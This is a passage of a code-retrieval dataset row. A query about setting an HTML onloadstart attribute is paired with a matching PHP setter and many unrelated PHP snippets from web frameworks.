query_id
stringlengths
32
32
query
stringlengths
7
5.32k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
e08634ba7efd18191530828d20532f12
Set the onloadstart attribute value. Parent tags allowed: all
[ { "docid": "de40921c58229a4cefc49b716a9f7500", "score": "0.7626858", "text": "public function set_onloadstart($value)\r\n\t{\r\n\t\treturn $this->set_attr('onloadstart', $value);\r\n\t}", "title": "" } ]
[ { "docid": "4e0b0f444fc82d7001b83ff126c97542", "score": "0.699615", "text": "public function get_onloadstart()\r\n\t{\r\n\t\treturn $this->get_attr('onloadstart');\r\n\t}", "title": "" }, { "docid": "d274b76a8350b3888dec3a25cd499ba8", "score": "0.6727745", "text": "public function set_onload($value)\r\n\t{\r\n\t\treturn $this->set_attr('onload', $value);\r\n\t}", "title": "" }, { "docid": "55f5571f8d5252e41cb569fba9e347b3", "score": "0.61957145", "text": "public function get_onload()\r\n\t{\r\n\t\treturn $this->get_attr('onload');\r\n\t}", "title": "" }, { "docid": "4a783d704ac3d14bcf5c479f1e06ee4e", "score": "0.588739", "text": "abstract public function onLoad();", "title": "" }, { "docid": "13367b389d7290997e71ff90942ba3c0", "score": "0.5749886", "text": "public function onLoad();", "title": "" }, { "docid": "f46da88eeddcedd4accaa637ee3e216f", "score": "0.56898636", "text": "protected function onLoad() {}", "title": "" }, { "docid": "f46da88eeddcedd4accaa637ee3e216f", "score": "0.56898636", "text": "protected function onLoad() {}", "title": "" }, { "docid": "b5f56a7d67580f0272403e77373454ca", "score": "0.55155975", "text": "function ControlOnLoad(){\n parent::ControlOnLoad();\n }", "title": "" }, { "docid": "ee20264a9381bcfa1b8074c6d500f6ec", "score": "0.5430984", "text": "function ControlOnLoad()\n {\n parent::ControlOnLoad();\n }", "title": "" }, { "docid": "14060b6aa6929b2c71d8230d914fc9c9", "score": "0.52673775", "text": "protected function onLoad()\n\t\t{\n\t\t\t// Event handling\n\t\t\t$this->events->add(new Events\\PageControllerCreatePageEvent());\n\t\t}", "title": "" }, { "docid": "4a7a66b2483fb35ea9e171ebb90dbd26", "score": "0.5252145", "text": "public function set_onstart($onstart)\n\t{\n\t\t$this->onstart = ($onstart instanceof JsFunction) ? $onstart : (new JsFunction($onstart));\n\t}", "title": "" }, { "docid": "7ffbd9ae2a9b862722c83499020f6af1", "score": "0.5205502", "text": "public function addOnLoad()\n {\n $this->getRenderHelper('Capture')->onLoadCaptureStart();\n }", "title": "" }, { "docid": "435bb8d878900d9d3f9d9561f4c71e94", "score": "0.5179802", "text": "public function onLoad()\n {\n $this->thumbnails = $this->loadThumbnails();\n }", "title": "" }, { "docid": "ba7a6fa15eb2f37e9270877914ffe537", "score": "0.509245", "text": "public function initJavascriptBefore() {\n $this->InitedJavascriptBefore = true;\n }", "title": "" }, { "docid": "a33884a1e17c0cc610146caf4802dd3e", "score": "0.5077489", "text": "public function InitializePage()\n\t\t{\n\t\t\t$this->VariableValue('_df_init', 1);\n\t\t}", "title": "" }, { "docid": "81041068392c212fb56b7d6136922a89", "score": "0.5023217", "text": "protected function InnerLoad()\n { \n }", "title": "" }, { "docid": "1d34a4c8f1be8a11ad5a4078cef0abd1", "score": "0.49969417", "text": "public function OnLoad()\n {\n }", "title": "" }, { "docid": "c0f9d2c684b4b6d7d483914243553ad6", "score": "0.4900105", "text": "public function set_start($value)\r\n\t{\r\n\t\treturn $this->set_attr('start', $value);\r\n\t}", "title": "" }, { "docid": "f68eb27e561bdaf744eced5dde03a2ab", "score": "0.48861375", "text": "function ControlOnLoad() {\n\t\t\tBackendPage::ControlOnLoad();\n\t\t\t@$this->_fileStorage = &new FileStorage($this->Kernel->Settings->GetItem(\"settings\",\"FileStoragePath\"),\n\t\t\t\t$this->Request->ToString(\"directory\", \"\", 1));\n\t\t}", "title": "" }, { "docid": "7769d39a7d2354267e630dd1d4b6eedf", "score": "0.48546398", "text": "protected function pre_init() {\n\t\t\t\n\t\t\t\n\t\t}", "title": "" }, { "docid": "61f053d9affc426bfd5eb9b467c8c61e", "score": "0.4843719", "text": "function initialize()\n\t{\n\t\t$this->id = $this->dom->getAttribute(\"content\");\n\t\t$this->pageWrapContent = $this->getTemplate()->getPageWrapContent($this->id);\n\t\t// Get a unique identifier for the wrapper to identify this instances parent by\n\t\t$this->wrapperId = $this->pageWrapContent->registerParent($this->parent);\n\t}", "title": "" }, { "docid": "f54835edc40080ae3c9d9e81ba581809", "score": "0.47797668", "text": "public function init()\n {\n /**\n * initialize parent here\n **/\n parent::init();\n }", "title": "" }, { "docid": "99298edb442d4abbe2cf9362965fc6ea", "score": "0.47767374", "text": "protected function onInit()\n\t\t{\n\t\t\t$this->defaultHTMLControlId = $this->getHTMLControlId();\n\t\t}", "title": "" }, { "docid": "6c73a460d444c8ce1c38590dea89e02b", "score": "0.47747844", "text": "function Control_Preload()\r\n\t{\r\n\t\t\r\n\t\t//get value from POSTBACK \r\n\t\t$value = Postback::Get($this);\r\n\t\t\r\n\t\tif (is_string($value))\r\n\t\t{\r\n\t\t\t$this->Value = $value;\r\n\t\t}\r\n\t\t\r\n\t\tparent::Control_Preload();\r\n\t}", "title": "" }, { "docid": "95cf7f1969bc528a23dc74eabbe4f274", "score": "0.47719046", "text": "public function set_loading($value)\r\n\t{\r\n\t\treturn $this->set_attr('loading', $value);\r\n\t}", "title": "" }, { "docid": "7733a01bf7d1f37f1d1225cc51807a32", "score": "0.47697222", "text": "public function onload($param)\r\n\t{\r\n\t\tif (is_null($this->Session['project']))\r\n\t\t\t$this->Response->redirect(\"?page=User.NoProject\");\r\n\t\t\t\r\n\t\tif(!$this->IsPostBack){\r\n\t\t\t// Retrieve data from data base query aql\r\n\t\t\t$dao = $this->Application->Modules['daos']->getDao('ReportsDao');\r\n\r\n\t\t\t// Bind query data to TRepeater\r\n\t\t\t$acts = $dao->getDelayedActs($this->Session['project']);\r\n\t\t\t$this->activityList->DataSource = $this->getDelayedActs($acts); \r\n\t\t\t$this->activityList->dataBind();\r\n\t\t}\t\t\r\n\t}", "title": "" }, { "docid": "3d99c32f8b4c330ddef58ce4bea1fc11", "score": "0.47630584", "text": "function Control_Preload()\r\n\t{\r\n\t\t\r\n\t\t//get value from POSTBACK \r\n\t\t$value = Postback::Get($this);\r\n\t\t\r\n\t\tif ($value != null && $value != \"\")\r\n\t\t{\r\n\t\t\t$this->_PostbackData = $value;\r\n\t\t}\t\r\n\t\t\r\n\t\t//the posted data is an array\r\n\t\tfor ($i=0; $i<count($this->Children); $i++)\r\n\t\t{\r\n\t\t\t$child =& $this->Children[$i];\r\n\r\n\t\t\t//search in array if array value\r\n\t\t\tif (is_array($value) && array_search($child->Value, $value) !== false)\r\n\t\t\t{\r\n\t\t\t\t//if found from checkbox/radio, select this input\r\n\t\t\t\t$child->Selected = true;\t\r\n\t\t\t}\r\n\t\t\telse if (is_string($value) && $value == $child->Value)\r\n\t\t\t{\r\n\t\t\t\t//if found from selectbox\r\n\t\t\t\t$child->Selected = true;\t\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\tparent::Control_Preload();\r\n\t}", "title": "" }, { "docid": "671a463ae1082e8579cbc66d0ff7988c", "score": "0.47382063", "text": "public function onLoad(LoadResourceEvent $event)\n {\n /** @var Instrument $instrument */\n $instrument = $event->getResource();\n\n $event->setData([\n 'instrument' => $this->serializer->serialize($instrument),\n ]);\n\n $event->stopPropagation();\n }", "title": "" }, { "docid": "5541f7898606d02fec13067c0e0a0927", "score": "0.47358042", "text": "public function init( ymcHtmlForm $form )\n {\n $form->registerOnInit( $this );\n }", "title": "" }, { "docid": "2bbd94dbcd44e925776debdcb01ddac7", "score": "0.47161958", "text": "public function beginBody()\n {\n echo self::PH_BODY_BEGIN;\n $this->trigger(self::EVENT_BEGIN_BODY);\n }", "title": "" }, { "docid": "beb746966007414b211c620006014549", "score": "0.47070986", "text": "function load($node) {\n $this->_value == '';\n $this->_type = 'text';\n if ($node->hasAttribute('type')) {\n $this->_type = $node->getAttribute('type');\n }\n //is here an src attribute and do the type is not an internal type\n if ($node->hasAttribute('src') &&\n !in_array($this->_type, array('text', 'html', 'xhtml'))) {\n $this->setSrc($node->getAttribute('src'));\n } else {\n parent::load($node);\n }\n }", "title": "" }, { "docid": "706d52ed6286a8d6d7be230a42661dc9", "score": "0.4693216", "text": "private function autoLoadParent()\n\t{\n\t\tif (!isset($this->parent) and isset($this->init_parent)) {\n\t\t\tif (array_key_exists($this->init_parent['field'], $this->data_arr) and $this[$this->init_parent['field']]) {\n\t\t\t\t// Avoiding loopholes\n\t\t\t\tif (!empty($this->settings['previous_ids']) and !empty($this->data_arr['id']) and in_array($this->data_arr['id'], $this->settings['previous_ids']))\n\t\t\t\t\treturn;\n\n\t\t\t\t$settings = [];\n\t\t\t\tif ($this->init_parent['children']) {\n\t\t\t\t\t$settings = [\n\t\t\t\t\t\t'pre_loaded_children' => [\n\t\t\t\t\t\t\t$this->init_parent['children'] => [\n\t\t\t\t\t\t\t\t$this[$this->settings['primary']] => $this,\n\t\t\t\t\t\t\t],\n\t\t\t\t\t\t],\n\t\t\t\t\t];\n\t\t\t\t}\n\n\t\t\t\t// Avoiding loopholes\n\t\t\t\t$settings['previous_ids'] = $this->settings['previous_ids'] ?? [];\n\t\t\t\tif (!empty($this->data_arr['id']))\n\t\t\t\t\t$settings['previous_ids'][] = $this->data_arr['id'];\n\n\t\t\t\t$this->parent = $this->getORM()->one($this->init_parent['element'], $this[$this->init_parent['field']], $settings) ?: null;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "356f4a1d6b8fddc9a08bb587315edfa9", "score": "0.4692215", "text": "protected function beforeLoad() {}", "title": "" }, { "docid": "d67693e93177f8ea13ceab6eb52a0193", "score": "0.46453443", "text": "public function init(){\n\t\t//For descendants\n\t}", "title": "" }, { "docid": "0e7b2f101e0a69c602381ee5cb42e86c", "score": "0.4614518", "text": "protected function _onLoad($node)\n\t{\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "e6ec1b2963fb4f6c0d2bb7b5708b9010", "score": "0.46143648", "text": "function onload($string){\n\t\tglobal $output;\n\t\tout($string.\"\\n\",\"onload\");\n\t}", "title": "" }, { "docid": "8e5c5c03cb05d2da9805d5802c88919f", "score": "0.46031952", "text": "public function beginPage()\n {\n ob_start();\n ob_implicit_flush(false);\n \n $this->trigger(self::EVENT_BEGIN_PAGE);\n }", "title": "" }, { "docid": "67b2fdfb74f0e1030fa4849fb645ebc3", "score": "0.45927483", "text": "function onLoad($yellow)\n\t{\n\t\t$this->yellow = $yellow;\n\t}", "title": "" }, { "docid": "b1168efc3b39481cc0c585b4f2993133", "score": "0.45781052", "text": "public function initBeginning()\n {\n $this->beginning = new \\DateTime();\n }", "title": "" }, { "docid": "bc3e6d650dfe2739bf3a0114424ddf89", "score": "0.45662192", "text": "function add_onload_command($str){\n\t\t$this->onload_commands[] = $str;\t\n\t}", "title": "" }, { "docid": "e1ef55220a3c7a08c8dac3a754ba0fae", "score": "0.45642164", "text": "abstract protected function doStart( $parentId );", "title": "" }, { "docid": "673bed203dc456213b8fb4bee5117ab9", "score": "0.45589203", "text": "function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "ecec8bebff87cb2d1c05d3f6191a1ec0", "score": "0.45529422", "text": "public function init()\r\r {\r\r parent::init();\r\r }", "title": "" }, { "docid": "6d6c38e0112ac3137c0c8ca0d41244a8", "score": "0.454752", "text": "function startElement($parser, $name, $attributes) {\r\n\t\t\tarray_push($this->currentdata,\"\"); //\r\n\t\t\t\t\t\t\r\n\t\t\t//if a element within the wpdojoloader is not a wpdojoloader element,\r\n\t\t\t//this element will be inserted (e.g. <li> or <img> elements), includeing it's attributes\r\n\t\t\tif ((! $this->isValidElement($name)) || $this->iscodeelem) {\r\n\t\t\t\t$elemstr = \"\";\r\n\t\t\t\t$elemstr .= \"<\".$name.\"\"; \t\t//insert the start element\r\n\t\t\t\tforeach ($attributes as $key => $value) { //insert the attributes from the start element\r\n\t\t\t\t $elemstr .= \" \".$key.\"=\\\"\".$value.\"\\\"\";\r\n\t\t\t \t}\t\r\n\t\t\t\t$elemstr .= \">\";\r\n\t\t\t\t\r\n\t\t\t\t$this->dojocontent .= $elemstr;\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t \tswitch ($name) {\r\n\t\t\t case 'TABCONTAINER':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getTabContainer_start($attributes['STYLE']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'CONTENTPANE':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getContentPane_start($attributes['TITLE'],$attributes['STYLE'],$attributes['RESIZE']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t case 'DATAGRID':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getDataGrid_start($attributes['STORETYPE'],$attributes['STRUCTURENAME'],$attributes['FILENAME'], $attributes['STYLE']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'POST':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getPost_start($attributes['ID']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'FISHEYE':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getFisheyeLite_start();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\t/* currently not activated it's a little bit buggy at the moment \r\n\t\t\t\tcase 'HIGHLIGHT':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getHighlight_start($attributes['LANG']);\r\n\t\t\t\t\t$this->iscodeelem = true; \r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'CODE':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getCode_start($attributes['LANG']);\r\n\t\t\t\t\t$this->iscodeelem = true; \r\n\t\t\t\t\tbreak;\r\n\t\t\t\t*/\r\n\t\t\t\t\r\n\t\t\t\tcase 'LINK':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getLink_start($attributes['TYPE'],$attributes['ID']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'SCROLLPANE':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getScrollPane_start($attributes['ORIENTATION'],$attributes['STYLE']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'ACCORDIONCONTAINER':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getAccordionContainer_start($attributes['STYLE'],$attributes['DURATION']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'ACCORDIONPANE':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getAccordionPane_start($attributes['TITLE'],$attributes['SELECTED']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'BUTTON':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getButton_start($attributes['FUNCTION']);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'DYNAMIC':\r\n\t\t\t\t\t$this->dojocontent .= $this->dojogenerator->getDynamicPost_start();\r\n\t\t\t\t\tbreak;\r\n\t\t \t}\r\n\t\t}", "title": "" }, { "docid": "a08e6497ad32e93d6fbea34a15ff8da5", "score": "0.4545634", "text": "final public function load()\n\t\t{\n\t\t\t// onLoad event\n\t\t\t$this->label = $this->label?$this->label:ucwords(str_replace('_',' ',$this->field));\n\t\t\t$this->onLoad();\n\t\t}", "title": "" }, { "docid": "719e6d3b19247f4afce671550146f769", "score": "0.45447317", "text": "public function init()\r\n {\r\n parent::init();\r\n if ($this->basePath === null)\r\n $this->basePath = Yii::getPathOfAlias('application.workflows');\r\n if (is_array($this->preload) and count($this->preload) != 0)\r\n {\r\n foreach ($this->preload as $wfId)\r\n {\r\n Yii::t('simpleWorkflow', 'preloading workflow : {name}', array('{name}' => $wfId));\r\n $this->_load($wfId);\r\n }\r\n }\r\n Yii::trace(Yii::t('simpleWorkflow', 'SWWorkflowSource initialized - basePath : ' . $this->basePath), 'application.simpleWorkflow');\r\n }", "title": "" }, { "docid": "96f433489ebf96c8d9afb0d35d959630", "score": "0.45402116", "text": "function startElement($parser, $name, $attrs) {\n global $parentElements;\n global $currentElement;\n global $currentTSSCheck;\n\n array_push($parentElements, $name);\n $currentElement = join(\"_\", $parentElements);\n\n foreach ($attrs as $attr => $value) {\n if ($currentElement == \"RESPONSE_TSS_CHECK\" and $attr == \"ID\") {\n $currentTSSCheck = $value;\n }\n\n $attributeName = $currentElement . \"_\" . $attr;\n // print out the attributes..\n //print \"$attributeName\\n\";\n\n global $$attributeName;\n $$attributeName = $value;\n }\n\n // uncomment the \"print $currentElement;\" line to see the names of all the variables you can \n // see in the response.\n // print $currentElement;\n }", "title": "" }, { "docid": "70ea04d7083cca37dc9a4e8de4ed5a9c", "score": "0.45260862", "text": "public function set_html_before( $html ){\n\t\t$this->html_before = $html;\n\t}", "title": "" }, { "docid": "9b324acf494cb748564e8f57d4dbfc19", "score": "0.45242128", "text": "public function initialise(){\n /* We must initialise first! */\n parent::initialise();\n \n /* We need to limit what we auto load */\n $this->_auto_load_only_tables = array(\n 'form_page'\n );\n \n /* Switch on auto loading */\n //$this->_auto_load_children = true;\n }", "title": "" }, { "docid": "f5f99fc6d89ec34062f6f779f8ee283a", "score": "0.45232487", "text": "public function inie(){\r\n\t\t\r\n\t\tparent::init();\r\n\t}", "title": "" }, { "docid": "ab6a8f3a7aac7f0d2d4ef5fcf2b9c429", "score": "0.45219538", "text": "public function loadParentNode( )\n {\n \n $className = 'BdlNode'.$this->domainClass;\n $this->parentNode = new $className( $this->modeller->bdlFile );\n \n }", "title": "" }, { "docid": "e3d79b76a538a86ab28bddd7ed586b7b", "score": "0.45075902", "text": "public function beginScript($pos = parent::POS_READY, $id = null)\n {\n if ($this->_activeScriptId) {\n throw new \\CException(\"You have nested beginScript function\");\n }\n $id = $id ? $id : uniqid();\n $this->_activeScriptId = $id;\n $this->_activeScriptPosition = $pos;\n\n ob_start();\n ob_implicit_flush(false);\n }", "title": "" }, { "docid": "30e13ee87091379e188e285614974746", "score": "0.4506931", "text": "public function setOnAuthenticationMethodLoadStart($val)\n {\n $this->_propDict[\"onAuthenticationMethodLoadStart\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "71f71d4bd2cdf3f017866bfd79aea2cb", "score": "0.44777632", "text": "function init() {\n\t\tparent::init();\n\t}", "title": "" }, { "docid": "fbe226a96814a26b0ff92211cfbc9d6a", "score": "0.44744438", "text": "public function set_preload($value)\r\n\t{\r\n\t\treturn $this->set_attr('preload', $value);\r\n\t}", "title": "" }, { "docid": "f99e67ddf1fb9e7ebe2089fbdd2cb530", "score": "0.44507444", "text": "function check_onload($output) {\r\n global $ONLOAD;\r\n\r\n if((is_array($ONLOAD)) && (count($ONLOAD))) {\r\n return str_replace(\"<body>\", \"<body onload=\\\"\".implode(\", \", $ONLOAD).\"\\\">\", $output);\r\n } else {\r\n return $output;\r\n }\r\n}", "title": "" }, { "docid": "af79a182d9fcf6d762dd367c2afd7f00", "score": "0.44392475", "text": "public function addOnLoadEnd()\n {\n $this->getRenderHelper('Capture')->onLoadCaptureEnd();\n }", "title": "" }, { "docid": "10c9ce9dcc09142dc27a2556aa51bf62", "score": "0.4434039", "text": "public function init(){\n parent::init();\n }", "title": "" }, { "docid": "10c9ce9dcc09142dc27a2556aa51bf62", "score": "0.4434039", "text": "public function init(){\n parent::init();\n }", "title": "" }, { "docid": "10c9ce9dcc09142dc27a2556aa51bf62", "score": "0.4434039", "text": "public function init(){\n parent::init();\n }", "title": "" }, { "docid": "10c9ce9dcc09142dc27a2556aa51bf62", "score": "0.4434039", "text": "public function init(){\n parent::init();\n }", "title": "" }, { "docid": "da062674c11633abcb1acff0ed11fb05", "score": "0.44332385", "text": "public function startup()\n {\n $value = '0,' . $this->data[ 'chunk_total' ];\n // Write our option to manage the process.\n add_option( 'nf_chunk_publish_' . $this->form_id, $value, '', 'no' );\n // Process the first item.\n $this->process();\n }", "title": "" }, { "docid": "211de71dbcb7383196927b1bda1c2960", "score": "0.44313413", "text": "protected function init()\r\n\t{\r\n\t\t// distro file\r\n\t\t\r\n\t\t$this->xml = new \\DOMDocument();\r\n\t\t$this->xml->load(\"$this->path/eng.xsl\");\r\n\t\t\r\n\t\t// local file\r\n\t\t\r\n\t\tif ( file_exists(\"views/labels/eng.xsl\") )\r\n\t\t{\r\n\t\t\t$local_xml = new \\DOMDocument();\r\n\t\t\t$local_xml->load(\"views/labels/eng.xsl\");\r\n\t\t\t$import = $this->xml->importNode($local_xml->documentElement, true);\r\n\t\t\t$this->xml->documentElement->appendChild($import);\t\t\t\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "f90aa4f74505544f39613a07da5ab864", "score": "0.44257453", "text": "public function testStartEl()\n {\n $this->markTestIncomplete();\n }", "title": "" }, { "docid": "47ae30058097505406d4a6ef24626262", "score": "0.44254905", "text": "protected function onLoad() {\n\t\tif (\n\t\t\tisset($this->minspareworkers->value)\n\t\t\t&& $this->minspareworkers->value > 0\n\t\t\t&& isset($this->maxspareworkers->value)\n\t\t\t&& $this->maxspareworkers->value > 0\n\t\t) {\n\t\t\tif ($this->minspareworkers->value > $this->maxspareworkers->value) {\n\t\t\t\tDaemon::log('\\'minspareworkers\\' (' . $this->minspareworkers->value . ') cannot be greater than \\'maxspareworkers\\' (' . $this->maxspareworkers->value . ').');\n\t\t\t\t$this->minspareworkers->value = $this->maxspareworkers->value;\n\t\t\t}\n\t\t}\n\n\t\tif (\n\t\t\tisset($this->minworkers->value)\n\t\t\t&& isset($this->maxworkers->value)\n\t\t) {\n\t\t\tif ($this->minworkers->value > $this->maxworkers->value) {\n\t\t\t\t$this->minworkers->value = $this->maxworkers->value;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "3338736727eee0b8f6dbea1fc6d07e8a", "score": "0.4417447", "text": "protected function _init() {\n \t $this->_load( 'init', false );\n }", "title": "" }, { "docid": "2fd06c8c97ad6571e0bf3f3176e10454", "score": "0.44080418", "text": "function js_deffer_attr($tag){\n\n//Add async to all remaining scripts \nreturn str_replace( ' src', ' defer=\"defer\" src', $tag );\n}", "title": "" }, { "docid": "7a406d3b3bcb0f47a4128e263e10b976", "score": "0.44049838", "text": "protected function hook_beforeLoad() {\n\n\t}", "title": "" }, { "docid": "e63da3a9a6b4b7a7e8133634426d4d0e", "score": "0.440254", "text": "protected function _load() {\n $this->pgNumber = & $this->data('emp-page-number',1,true);\n // delegate events\n $this->pager->delegate('a','click','.changePage');\n }", "title": "" }, { "docid": "450de2590f5bfeec4371f68f4b560edd", "score": "0.44014376", "text": "public function getStartHeadJs();", "title": "" }, { "docid": "4f011176b780c5d87017b7f812ee50c7", "score": "0.43881413", "text": "function set_xml_pre_generado($xml)\n\t{\n\t\t$this->xml_externo = $xml;\n\t}", "title": "" }, { "docid": "f39f838a0bd8b4c2522bf21569693e67", "score": "0.43800685", "text": "private static function setFormHeaderOnInputStart () {\r\n self::convertPOSTToSESSIONString ();\r\n if (self::$objFormStarted->toInt () == 0) {\r\n if (self::checkPOST ()->toBoolean () == TRUE) {\r\n if (sizeof ($_SESSION['POST']) != 0 && sizeof ($_FILES) != 0) {\r\n self::checkFILEOperationsOnForm ();\r\n }\r\n }\r\n // Make an array, for data collection;\r\n $coreSetAttributes = new A;\r\n // Remember the fact that we started a <form ...\r\n self::$objFormStarted->setInt (1);\r\n // Set the <form .tp file;\r\n $tp = new FilePath (FORM_TP_DIR . _S . 'frm_input_form_started.tp');\r\n // Set core attributes;\r\n self::setCoreAttributes (self::$objFormDataContainer, $tp);\r\n // Set core <input event attributes;\r\n self::setCoreInputAttributes (self::$objFormDataContainer, $tp);\r\n foreach (self::$objFormDataContainer as $k => $v) {\r\n switch ($k) {\r\n case 'action':\r\n !empty ($v) ?\r\n $coreSetAttributes[$k] = $v :\r\n $coreSetAttributes[$k] = URL::rewriteURL ();\r\n break;\r\n case 'fieldset':\r\n // Set the form in a <fieldset;\r\n self::$objFormInFieldSet->setInt (1);\r\n $coreSetAttributes[$k] = $v;\r\n break;\r\n default:\r\n $coreSetAttributes[$k] = $v;\r\n break;\r\n\r\n }\r\n }\r\n self::tpSet ($coreSetAttributes, new S ('coreSetAttributes'), $tp, new S ('explode'));\r\n self::tpExe ($tp);\r\n }\r\n }", "title": "" }, { "docid": "8d42ea9c968f6d97c87a28716e97361d", "score": "0.43760803", "text": "public function init()\n {\n \tparent::init();\n }", "title": "" }, { "docid": "00bfd7991c61f833e1eeeecf8a73f08d", "score": "0.43706933", "text": "public function setUpElement()\n {\n parent::setUpElement();\n if (!isset($_SESSION['initialized'])) {\n $_SESSION['initialized'] = 0;\n }\n $_SESSION['initialized']++;\n }", "title": "" }, { "docid": "68af585092d0a973a762f537f636ff31", "score": "0.43687314", "text": "public function testStartLvl()\n {\n $this->markTestIncomplete();\n }", "title": "" }, { "docid": "1c17855f3e35e7000c2b4313c68adf09", "score": "0.43649465", "text": "public function init()\r\n {\r\n \tparent::init();\r\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "674315aad92e29e32efd9de2d2f4a11d", "score": "0.4359786", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "16916868cd3d3735049c97948c37d540", "score": "0.43535018", "text": "public function set_inlinescript($script=''){\n\t\t$this->inlineScripts[] = $script;\n\t}", "title": "" }, { "docid": "183cda76b002c71693d4a48a24d4b6db", "score": "0.43527123", "text": "public function init()\r\n {\r\n parent::init();\r\n\r\n\r\n }", "title": "" }, { "docid": "be28259125b9a8999654a8f23519dcb0", "score": "0.4351708", "text": "public function init() {\n\t\t//parent::init();\t\n\t}", "title": "" }, { "docid": "fe943a560653b88522f69970958e36d3", "score": "0.4348106", "text": "function init()\r\n\t{\r\n\t\t//We're going to make sure we run the parent's version of this function as well\r\n\t\tparent::init();\r\n\t\t$this->llynx_scrape->opt = $this->opt;\r\n\t\tadd_action('media_upload_wp_lynx', array($this, 'media_upload'));\r\n\t\t$this->allowed_html = wp_kses_allowed_html('post');\r\n\t\twp_enqueue_script('llynx_javascript', plugins_url('/wp_lynx.js', dirname(__FILE__) . '/wp_lynx.js'), array('jquery'));\r\n\t}", "title": "" }, { "docid": "7911fe3d43f4aee7d79bde7c5151d2fd", "score": "0.43475664", "text": "function on_start_element($parser,$element,$attrs)\n{\n\tglobal $inDoc, $inNode, $nodes, $curID, \n\t\t\t$curNode, $inWay, $curWay, $nds, $doNodes, $doWays;\n\n\tif($element==\"OSM\" || $element==\"osm\")\n\t{\n\t\t$inDoc = true;\n\t}\n\telseif($inDoc)\n\t{\n\t\tif($element==\"NODE\" && $doNodes)\n\t\t{\n\t\t\t$inNode=true;\n\t\t\t$curNode=null;\n\t\t\t$curNode = array();\n\t\t\t$curNode[\"lat\"] = $attrs[\"LAT\"];\n\t\t\t$curNode[\"lon\"] = $attrs[\"LON\"];\n\t\t\t$curNode['tags']=array();\n\t\t\t$curID = $attrs[\"ID\"];\n\t\t}\n\t\telseif($element==\"WAY\" && $doWays)\n\t\t{\n\t\t\t$inWay = true;\n\t\t\t$nds = array();\n\t\t\t$curWay = array();\n\t\t\t$curWay['tags'] = array();\n\t\t\t$curID = $attrs[\"ID\"];\n\t\t}\n\t\telseif($element==\"ND\" && $inWay)\n\t\t{\n\t\t\t$nds[] = $attrs[\"REF\"];\n\t\t}\n\t\telseif($element==\"TAG\")\n\t\t{\n\t\t\t// 070406 now all tags are put in the 'tags' array\n\t\t\tif($inNode && $curNode) \n\t\t\t{\n\t\t\t\t$curNode['tags'][$attrs['K']]=$attrs['V'];\n\t\t\t}\n\t\t\telseif($inWay && $curWay)\n\t\t\t{\n\t\t\t\t$curWay['tags'][$attrs[\"K\"]] = $attrs[\"V\"];\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b46a47c0cdab80efeadfc9c94c738837", "score": "0.43460676", "text": "public function init()\n {\n parent::init();\n }", "title": "" }, { "docid": "dbb352f444620baf8e3a3e0b79c3696c", "score": "0.43360174", "text": "public function onStart()\r\n {\r\n // Force reading parameters\r\n if (!$this->parameters_read)\r\n $this->_read_parameters();\r\n\r\n // Save start time\r\n $this->time_started = microtime(true);\r\n\r\n // Output start message\r\n\r\n if ($this->options['status_start_message'] != '')\r\n $this->status(str_replace('%time_current%',\r\n date($this->options['status_time_format']),\r\n 